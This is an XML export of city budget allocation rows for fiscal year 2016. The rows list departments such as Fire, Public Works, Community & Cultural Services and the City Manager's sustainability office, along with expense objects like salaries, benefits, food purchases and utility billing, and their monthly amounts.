<row _id="20138"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>313</division_id><division_name>FIRE SUPPRESSION AND RESCUE</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1086</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1086</total></row>
<row _id="20139"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>315</division_id><division_name>TRAINING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3657</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3657</total></row>
<row _id="20140"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3600</total></row>
<row _id="20141"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>310</department_id><department_name>FIRE</department_name><division_id>312</division_id><division_name>FIRE - ADMINISTRATION</division_name><object>555060.0</object><object_description>PROFESSIONAL SERVICES</object_description><category_code>806.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>7210</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7210</total></row>
<row _id="20142"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>402</division_id><division_name>ENGINEERING</division_name><object>555010.0</object><object_description>CONTRACTUAL SERVICES</object_description><category_code>808.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12097</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12097</total></row>
<row _id="20143"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511713.0</object><object_description>MEDICARE-MISC EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>27091</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>27091</total></row>
<row _id="20144"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>9004</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>9004</total></row>
<row _id="20145"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>130</department_id><department_name>FINANCE</department_name><division_id>224</division_id><division_name>REVENUE DIVISION</division_name><object>556010.0</object><object_description>UTILITY CONTRACTS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20146"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>560010.0</object><object_description>SCADA O &amp; M</object_description><category_code>844.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>24751</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>24751</total></row>
<row _id="20147"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>31</fund_id><fund_name>Wastewater Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>661</division_id><division_name>WASTEWATER</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>391051</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>391051</total></row>
<row _id="20148"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>8710</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8710</total></row>
<row _id="20149"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2018</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2018</total></row>
<row _id="20150"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522900.0</object><object_description>MEMBERSHIPS AND DUES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>1500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1500</total></row>
<row _id="20151"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400</total></row>
<row _id="20152"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>EAP</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>744</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>744</total></row>
<row _id="20153"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code xsi:nil="true" /><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>2468</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2468</total></row>
<row _id="20154"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522180.0</object><object_description>BANK FEES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>490</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>490</total></row>
<row _id="20155"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSES</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>19435</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>19435</total></row>
<row _id="20156"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>522610.0</object><object_description>EQUIPMENT RENTAL</object_description><category_code xsi:nil="true" /><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>13852</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13852</total></row>
<row _id="20157"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>33</fund_id><fund_name>Airport Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>431</division_id><division_name>AIRPORT</division_name><object>555200.0</object><object_description>REIMBURSE ENGINEERING OFFICE</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>3307</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>3307</total></row>
<row _id="20158"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1488275</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1488275</total></row>
<row _id="20159"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>511773.0</object><object_description>RETIREMENT - MISC. EMPL</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>319209</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>319209</total></row>
<row _id="20160"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>804.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>7135</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>7135</total></row>
<row _id="20161"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522310.0</object><object_description>OFFICE SUPPLIES / EXPENSE</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>35571</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>35571</total></row>
<row _id="20162"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>533020.0</object><object_description>GENERAL LIABILITY / AUTO</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>8234</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>8234</total></row>
<row _id="20163"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>544040.0</object><object_description>BOOKS / PAMPHLETS</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>2500</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>2500</total></row>
<row _id="20164"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>560</division_id><division_name>CULTURAL AFFAIRS</division_name><object>544740.0</object><object_description>ARTIST FELLOWSHIPS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>62821</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>62821</total></row>
<row _id="20165"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>110</department_id><department_name>CITY MANAGER</department_name><division_id>226</division_id><division_name>OFF SUSTAINABILITY &amp; ENVIRON</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>804.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>12750</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>12750</total></row>
<row _id="20166"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object>511000.0</object><object_description>PERMANENT EMPLOYEES</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1840345</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1840345</total></row>
<row _id="20167"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>YEAR-END CASH OUTS</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20168"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>403</division_id><division_name>ARCHITECTURE SERVICES</division_name><object xsi:nil="true" /><object_description>DISABILITY INSURANCE</object_description><category_code>808.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>13504</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>13504</total></row>
<row _id="20169"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>27</fund_id><fund_name>Resource Recovery &amp; Recyc Fund</fund_name><department_id>500</department_id><department_name>PUBLIC WORKS</department_name><division_id>441</division_id><division_name>RESOURCE RECOVERY &amp; RECYCLING</division_name><object>579290.0</object><object_description>UTILITIES BILLING SERVICES</object_description><category_code>866.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>138121</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>138121</total></row>
<row _id="20170"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>356</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>356</total></row>
<row _id="20171"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1486</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1486</total></row>
<row _id="20172"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511660.0</object><object_description>ADAPTIVE RECREATION/SPORTS</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>0</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>0</total></row>
<row _id="20173"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>LIFE INSURANCE &amp; AD &amp; D</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>525</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>525</total></row>
<row _id="20174"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544110.0</object><object_description>PRINTED FORMS</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>100</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>100</total></row>
<row _id="20175"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511749.0</object><object_description>VISION</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>438</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>438</total></row>
<row _id="20176"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>700</total></row>
<row _id="20177"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>288</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>288</total></row>
<row _id="20178"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522825.0</object><object_description>FOOD PURCHASES</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>400</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>400</total></row>
<row _id="20179"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>300</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>300</total></row>
<row _id="20180"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511500.0</object><object_description>TEMPORARY EMPLOYEES</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>129990</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>129990</total></row>
<row _id="20181"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511748.0</object><object_description>DENTAL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>14911</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>14911</total></row>
<row _id="20182"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>DCAP</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1076</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1076</total></row>
<row _id="20183"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>522320.0</object><object_description>METERED POSTAGE</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>150</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>150</total></row>
<row _id="20184"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object xsi:nil="true" /><object_description>UNEMPLOYMENT</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1146</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1146</total></row>
<row _id="20185"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>544170.0</object><object_description>UNIFORM / PROTECTIVE CLOTHING</object_description><category_code>810.0</category_code><category_code_description> Supplies and Expenses</category_code_description><fiscal_year>2016</fiscal_year><july>600</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>600</total></row>
<row _id="20186"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511746.0</object><object_description>MED TRUST - MISC. EMPL</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>1700</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>1700</total></row>
<row _id="20187"><ledger_type>BA</ledger_type><cost_center_type>IS</cost_center_type><fund_id>1</fund_id><fund_name>General Fund</fund_name><department_id>400</department_id><department_name>COMMUNITY &amp; CULTURAL SERVICES</department_name><division_id>544</division_id><division_name>COMMUNITY RECREATION</division_name><object>511774.0</object><object_description>RETIREMENT - AS NEEDED</object_description><category_code>810.0</category_code><category_code_description>Salaries and Wages</category_code_description><fiscal_year>2016</fiscal_year><july>4875</july><august>0</august><september>0</september><october>0</october><november>0</november><december>0</december><january>0</january><february>0</february><march>0</march><april>0</april><may>0</may><june>0</june><total>4875</total></row>
